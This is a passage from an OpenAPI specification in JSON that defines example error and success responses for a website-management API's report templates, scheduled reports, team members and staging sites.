order is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template.section_order", "message": "Can't be blank" } ] } } }, "invalid_section_order_type": { "summary": "Section order must be an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "report_template.section_order", "message": "Must be an array." } ] } } }, "missing_email": { "summary": "Email settings are required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template.email", "message": "Can't be blank" } ] } } }, "invalid_email_type": { "summary": "Email settings must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "report_template.email", "message": "Must be an object." } ] } } }, "missing_sender_email": { "summary": "Sender email key is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template.email.sender_email", "message": "Can't be blank" } ] } } }, "invalid_sender_email_type": { "summary": "Sender email must be null or an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "report_template.email.sender_email", "message": "Must be null or an object." } ] } } }, "missing_sender_email_id": { "summary": "Sender email ID is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template.email.sender_email.id", "message": "Can't be blank" } ] } } }, "missing_attach_pdf": { "summary": "Attach PDF flag is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template.email.attach_pdf", "message": "Can't be blank" } ] } } }, "invalid_attach_pdf_type": { "summary": "Attach PDF flag must be a boolean", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "report_template.email.attach_pdf", "message": "Must be a boolean." } ] } } } } } } }, "ReportTemplateCreateBusinessResponse": { "description": "The report template could not be created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "invalid_primary_color": { "summary": "Primary color format is invalid", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "report_template.general.primary_color", "message": "Invalid primary color format." } ] } } }, "invalid_language": { "summary": "Language is invalid", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "report_template.general.language", "message": "Invalid language." } ] } } }, "invalid_date_format": { "summary": "Date format is invalid", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "report_template.general.date_format", "message": "Invalid date format." } ] } } }, "invalid_section_key": { "summary": "Section key is invalid", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "report_template.sections.custom_section", "message": "Invalid section: custom_section." } ] } } }, "invalid_section_order_item": { "summary": "Section order item is invalid", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "report_template.section_order.0", "message": "Invalid section at index 0." } ] } } }, "invalid_sender": { "summary": "Sender email does not belong to the account", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_id", "param": "report_template.email.sender_email.id", "message": "Sender email does not match an accessible Sender Email." } ] } } } } } } }, "ReportTemplateOkResponse": { "description": "Report template returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ReportTemplateResponse" }, "example": { "report_template": { "id": "nR4eJk7pLm2xWc8vYs5fTd9a", "name": "Monthly Website Report", "site_ids": [ "9bf3c2e7a4d8f2c1b6e9d0a3c5f7b8e1" ], "general": { "primary_color": "#2F80ED", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } }, "section_order": [ "cover" ], "email": { "sender_email": { "id": "sE8nK5xR2mL7pQ4vT6hY9bFd", "email": "reports@example.com" }, "subject": "Monthly Website Report", "body": "Please find your report attached.", "attach_pdf": true }, "created_at": "2026-02-20T09:15:00Z", "updated_at": "2026-02-20T09:15:00Z" } } } } }, "ReportTemplateUpdateBusinessResponse": { "description": "The report template could not be updated.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "theme_deprecated": { "summary": "Template theme is deprecated", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "theme_deprecated", "param": "report_template", "message": "Theme is deprecated" } ] } } }, "invalid_primary_color": { "summary": "Primary color format is invalid", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "report_template.general.primary_color", "message": "Invalid primary color format." } ] } } }, "invalid_language": { "summary": "Language is invalid", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "report_template.general.language", "message": "Invalid language." } ] } } }, "invalid_date_format": { "summary": "Date format is invalid", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "report_template.general.date_format", "message": "Invalid date format." } ] } } }, "invalid_section_key": { "summary": "Section key is invalid", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "report_template.sections.custom_section", "message": "Invalid section: custom_section." } ] } } }, "invalid_section_order_item": { "summary": "Section order item is invalid", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_value", "param": "report_template.section_order.0", "message": "Invalid section at index 0." } ] } } }, "invalid_sender": { "summary": "Sender email does not belong to the account", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_id", "param": "report_template.email.sender_email.id", "message": "Sender email does not match an accessible Sender Email." } ] } } } } } } }, "DeleteReportTemplatesValidationResponse": { "description": "The `ids` request field is missing, empty, or not an array.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_ids": { "summary": "IDs are required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "ids", "message": "Can't be blank" } ] } } }, "invalid_ids_type": { "summary": "IDs must be an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "ids", "message": "Must be an array." } ] } } } } } } }, "components-responses-InvalidIndexQueryResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_filter_type": { "summary": "Filters is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "unsupported_filter_field": { "summary": "Filter field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[updated_at:eq]", "message": "Filter is not supported." } ] } } }, "unsupported_filter_operator": { "summary": "Filter operator is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[site_id:contains]", "message": "Filter is not supported." } ] } } }, "invalid_created_at": { "summary": "Timestamp filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "created_at", "message": "Invalid timestamp." } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "unsupported_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "ScheduledReportCreateValidationResponse": { "description": "The `scheduled_report` request body is missing or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_scheduled_report": { "summary": "Scheduled report root is missing or empty", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "scheduled_report", "message": "Can't be blank" } ] } } }, "invalid_scheduled_report_type": { "summary": "Scheduled report root must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "scheduled_report", "message": "Must be an object." } ] } } }, "missing_site_id": { "summary": "Site ID is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "site_id", "message": "Can't be blank" } ] } } }, "missing_started_at": { "summary": "Started time is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "started_at", "message": "Can't be blank" } ] } } }, "invalid_started_at": { "summary": "Started time must be in the future", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "started_at", "message": "Must be in the future" } ] } } }, "missing_frequency": { "summary": "Frequency is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "frequency", "message": "Can't be blank" } ] } } }, "invalid_frequency": { "summary": "Frequency is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "frequency", "message": "Invalid frequency." } ] } } }, "missing_report_template_data": { "summary": "Report template data is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template_data", "message": "Can't be blank" } ] } } }, "invalid_report_template_data_type": { "summary": "Report template data must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "report_template_data", "message": "Must be an object" } ] } } }, "missing_report_template_general": { "summary": "General report settings are required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template_data.general", "message": "Can't be blank" } ] } } }, "invalid_report_template_general_type": { "summary": "General report settings must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "report_template_data.general", "message": "General must be an object." } ] } } }, "missing_report_template_sections": { "summary": "Report sections are required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template_data.sections", "message": "Can't be blank" } ] } } }, "invalid_report_template_sections_type": { "summary": "Report sections must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "report_template_data.sections", "message": "Sections must be an object." } ] } } }, "invalid_report_template_section": { "summary": "Report section is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "report_template_data.sections.custom_section", "message": "Invalid section: custom_section" } ] } } }, "missing_report_template_section_order": { "summary": "Report section order is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template_data.section_order", "message": "Can't be blank" } ] } } }, "invalid_section_order_type": { "summary": "Section order must be an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "report_template_data.section_order", "message": "Section order must be an array." } ] } } }, "invalid_primary_color": { "summary": "Primary color format is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "report_template_data.general.primary_color", "message": "Invalid primary color format" } ] } } }, "invalid_language": { "summary": "Language is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "report_template_data.general.language", "message": "Invalid language" } ] } } }, "invalid_date_format": { "summary": "Date format is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "report_template_data.general.date_format", "message": "Invalid date format" } ] } } }, "invalid_section_order_item": { "summary": "Section order item is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "report_template_data.section_order.0", "message": "Invalid section at index 0" } ] } } }, "missing_email": { "summary": "Email settings are required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template_data.email", "message": "Can't be blank" } ] } } }, "invalid_email_type": { "summary": "Email settings must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "report_template_data.email", "message": "Must be an object" } ] } } }, "missing_sender_email": { "summary": "Sender email key is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template_data.email.sender_email", "message": "Can't be blank" } ] } } }, "invalid_sender_email_type": { "summary": "Sender email must be null or an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "report_template_data.email.sender_email", "message": "Must be null or an object." } ] } } }, "missing_sender_email_id": { "summary": "Sender email ID is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template_data.email.sender_email.id", "message": "Can't be blank" } ] } } } } } } }, "ScheduledReportCreateBusinessResponse": { "description": "The scheduled report could not be created.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "already_exists": { "summary": "Site already has a scheduled report", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "already_exists", "param": "site_id", "message": "Scheduled report already exists for this site." } ] } } }, "plan_required": { "summary": "Scheduled reports are not available on the plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "base", "message": "Plan does not support report scheduling." } ] } } }, "invalid_template": { "summary": "Report template does not belong to the account", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_id", "param": "template_id", "message": "Incorrect template id: 'nR4eJk7pLm2xWc8vYs5fTd9a'" } ] } } }, "deprecated_template": { "summary": "Report template theme is deprecated", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "theme_deprecated", "param": "template_id", "message": "Template theme is deprecated" } ] } } }, "invalid_sender": { "summary": "Sender email does not belong to the account", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_id", "param": "report_template_data.email.sender_email.id", "message": "Incorrect sender email id: 'sE8nK5xR2mL7pQ4vT6hY9bFd'" } ] } } } } } } }, "ScheduledReportOkResponse": { "description": "Scheduled report returned successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ScheduledReportResponse" }, "example": { "scheduled_report": { "id": "qF3dKm8nRx2wJc6vPs9eTy5h", "site": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "title": "Example Site", "url": "https://example.com" }, "title": "Weekly Website Report", "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a", "status": "active", "frequency": "weekly", "timezone": "UTC", "started_at": "2026-03-10T09:00:00Z", "next_report_at": "2026-03-17T09:00:00Z", "report_template_data": { "general": { "primary_color": "#2F80ED", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } }, "section_order": [ "cover" ], "email": { "sender_email": null, "subject": "Weekly Website Report", "body": "Please find your report attached.", "attach_pdf": true, "send_to_client": false, "recipients": [ "user@example.com" ] } }, "created_at": "2026-03-01T10:00:00Z", "updated_at": "2026-03-01T10:00:00Z" } } } } }, "ScheduledReportDeleteBusinessResponse": { "description": "The scheduled report could not be deleted.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "example": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Operation failed.", "details": [ { "code": "operation_failed", "message": "Failed to delete scheduled report." } ] } } } } }, "ScheduledReportUpdateValidationResponse": { "description": "The `scheduled_report` request body is missing, empty, or contains invalid fields.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "missing_scheduled_report": { "summary": "Scheduled report root is missing or empty", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "scheduled_report", "message": "Can't be blank" } ] } } }, "invalid_scheduled_report_type": { "summary": "Scheduled report root must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "scheduled_report", "message": "Must be an object." } ] } } }, "missing_started_at": { "summary": "Started time is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "started_at", "message": "Can't be blank" } ] } } }, "invalid_started_at": { "summary": "Started time must be in the future", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "started_at", "message": "Must be in the future" } ] } } }, "missing_frequency": { "summary": "Frequency is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "frequency", "message": "Can't be blank" } ] } } }, "invalid_frequency": { "summary": "Frequency is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "frequency", "message": "Invalid frequency." } ] } } }, "missing_report_template_data": { "summary": "Report template data is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template_data", "message": "Can't be blank" } ] } } }, "invalid_report_template_data_type": { "summary": "Report template data must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "report_template_data", "message": "Must be an object" } ] } } }, "missing_report_template_general": { "summary": "General report settings are required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template_data.general", "message": "Can't be blank" } ] } } }, "invalid_report_template_general_type": { "summary": "General report settings must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "report_template_data.general", "message": "General must be an object." } ] } } }, "missing_report_template_sections": { "summary": "Report sections are required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template_data.sections", "message": "Can't be blank" } ] } } }, "invalid_report_template_sections_type": { "summary": "Report sections must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "report_template_data.sections", "message": "Sections must be an object." } ] } } }, "invalid_report_template_section": { "summary": "Report section is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "report_template_data.sections.custom_section", "message": "Invalid section: custom_section" } ] } } }, "missing_report_template_section_order": { "summary": "Report section order is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template_data.section_order", "message": "Can't be blank" } ] } } }, "invalid_section_order_type": { "summary": "Section order must be an array", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "report_template_data.section_order", "message": "Section order must be an array." } ] } } }, "invalid_primary_color": { "summary": "Primary color format is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "report_template_data.general.primary_color", "message": "Invalid primary color format" } ] } } }, "invalid_language": { "summary": "Language is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "report_template_data.general.language", "message": "Invalid language" } ] } } }, "invalid_date_format": { "summary": "Date format is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "report_template_data.general.date_format", "message": "Invalid date format" } ] } } }, "invalid_section_order_item": { "summary": "Section order item is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "report_template_data.section_order.0", "message": "Invalid section at index 0" } ] } } }, "missing_email": { "summary": "Email settings are required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template_data.email", "message": "Can't be blank" } ] } } }, "invalid_email_type": { "summary": "Email settings must be an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "report_template_data.email", "message": "Must be an object" } ] } } }, "missing_sender_email": { "summary": "Sender email key is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template_data.email.sender_email", "message": "Can't be blank" } ] } } }, "invalid_sender_email_type": { "summary": "Sender email must be null or an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "report_template_data.email.sender_email", "message": "Must be null or an object." } ] } } }, "missing_sender_email_id": { "summary": "Sender email ID is required", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "blank", "param": "report_template_data.email.sender_email.id", "message": "Can't be blank" } ] } } } } } } }, "ScheduledReportUpdateBusinessResponse": { "description": "The scheduled report could not be updated.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "examples": { "invalid_sender": { "summary": "Sender email does not belong to the account", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_id", "param": "report_template_data.email.sender_email.id", "message": "Incorrect sender email id: 'sE8nK5xR2mL7pQ4vT6hY9bFd'" } ] } } }, "plan_required": { "summary": "Scheduled reports are not available on the plan", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "plan_does_not_support_feature", "param": "base", "message": "Plan does not support report scheduling." } ] } } }, "invalid_template": { "summary": "Report template does not belong to the account", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "invalid_id", "param": "template_id", "message": "Incorrect template id: 'nR4eJk7pLm2xWc8vYs5fTd9a'" } ] } } }, "deprecated_template": { "summary": "Report template theme is deprecated", "value": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "theme_deprecated", "param": "template_id", "message": "Template theme is deprecated" } ] } } } } } } }, "ScheduledReportPausedResponse": { "description": "Scheduled report paused successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ScheduledReportResponse" }, "example": { "scheduled_report": { "id": "qF3dKm8nRx2wJc6vPs9eTy5h", "site": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "title": "Example Site", "url": "https://example.com" }, "title": "Weekly Website Report", "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a", "status": "paused", "frequency": "weekly", "timezone": "UTC", "started_at": "2026-03-10T09:00:00Z", "next_report_at": "2026-03-17T09:00:00Z", "report_template_data": { "general": { "primary_color": "#2F80ED", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } }, "section_order": [ "cover" ], "email": { "sender_email": null, "subject": "Weekly Website Report", "body": "Please find your report attached.", "attach_pdf": true, "send_to_client": false, "recipients": [ "user@example.com" ] } }, "created_at": "2026-03-01T10:00:00Z", "updated_at": "2026-03-02T10:15:00Z" } } } } }, "ScheduledReportAlreadyPausedResponse": { "description": "The scheduled report is already paused.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "example": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "scheduled_report_already_paused", "message": "Scheduled report is already paused." } ] } } } } }, "ScheduledReportResumedResponse": { "description": "Scheduled report resumed successfully.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ScheduledReportResponse" }, "example": { "scheduled_report": { "id": "qF3dKm8nRx2wJc6vPs9eTy5h", "site": { "id": "9bf3c2e7a1b24c6d8e9f0123456789ab", "title": "Example Site", "url": "https://example.com" }, "title": "Weekly Website Report", "template_id": "nR4eJk7pLm2xWc8vYs5fTd9a", "status": "active", "frequency": "weekly", "timezone": "UTC", "started_at": "2026-03-10T09:00:00Z", "next_report_at": "2026-03-17T09:00:00Z", "report_template_data": { "general": { "primary_color": "#2F80ED", "language": "en", "date_format": "DD/MM/YYYY" }, "sections": { "cover": { "visible": true, "heading": "Website Report", "dynamic_data": { "logo": { "option": "default" }, "cover_image": { "option": "default" } } } }, "section_order": [ "cover" ], "email": { "sender_email": null, "subject": "Weekly Website Report", "body": "Please find your report attached.", "attach_pdf": true, "send_to_client": false, "recipients": [ "user@example.com" ] } }, "created_at": "2026-03-01T10:00:00Z", "updated_at": "2026-03-02T10:20:00Z" } } } } }, "ScheduledReportAlreadyActiveResponse": { "description": "The scheduled report is already active.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/BusinessError" }, "example": { "error": { "status": 422, "code": "unprocessable_entity", "message": "Unprocessable entity.", "details": [ { "code": "scheduled_report_already_active", "message": "Scheduled report is already active." } ] } } } } }, "TeamMembersInvalidIndexQueryResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_filters": { "summary": "Filters is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "invalid_timestamp": { "summary": "Timestamp filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "updated_at", "message": "Invalid timestamp" } ] } } }, "unsupported_filter": { "summary": "Filter key is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[role:contains]", "message": "Filter is not supported." } ] } } }, "invalid_boolean_filter": { "summary": "Boolean filter value is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "two_fa_enabled", "message": "Must be a boolean." } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort must be in field,direction format." } ] } } }, "unsupported_sort_field": { "summary": "Sort field is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort field is not supported." } ] } } }, "invalid_sort_direction": { "summary": "Sort direction is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "sort", "message": "Sort direction must be asc or desc." } ] } } } } } } }, "TeamMembersForbiddenResponse": { "description": "The account is inactive, or you do not have permission to update or remove this team member or invitation.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ForbiddenError" }, "examples": { "inactive_account": { "summary": "Inactive account", "value": { "error": { "status": 403, "code": "forbidden", "message": "Account is not active." } } }, "cannot_modify_self": { "summary": "Cannot modify your own team member access", "value": { "error": { "status": 403, "code": "forbidden", "message": "Forbidden", "details": [ { "code": "cannot_modify_self", "param": "team_member_id", "message": "You cannot modify your own team member record." } ] } } }, "insufficient_role_level": { "summary": "Target role is not lower than your role", "value": { "error": { "status": 403, "code": "forbidden", "message": "Forbidden", "details": [ { "code": "insufficient_role_level", "message": "Target role must be lower than your own." } ] } } } } } } }, "StagingSitesInvalidIndexQueryResponse": { "description": "The filters or sort query parameters are invalid.", "content": { "application/json": { "schema": { "$ref": "#/components/schemas/ValidationError" }, "examples": { "invalid_filters": { "summary": "Filters value is not an object", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "filters", "message": "Must be an object." } ] } } }, "invalid_timestamp": { "summary": "Timestamp filter is invalid", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_format", "param": "expires_at", "message": "Invalid timestamp" } ] } } }, "invalid_sort_type": { "summary": "Sort value is not a string", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_type", "param": "sort", "message": "Must be a string." } ] } } }, "unsupported_filter": { "summary": "Filter key is not supported", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", "details": [ { "code": "invalid_value", "param": "filters[status:contains]", "message": "Filter is not supported." } ] } } }, "invalid_sort_format": { "summary": "Sort value is not field,direction", "value": { "error": { "status": 400, "code": "bad_request", "message": "Invalid parameters.", 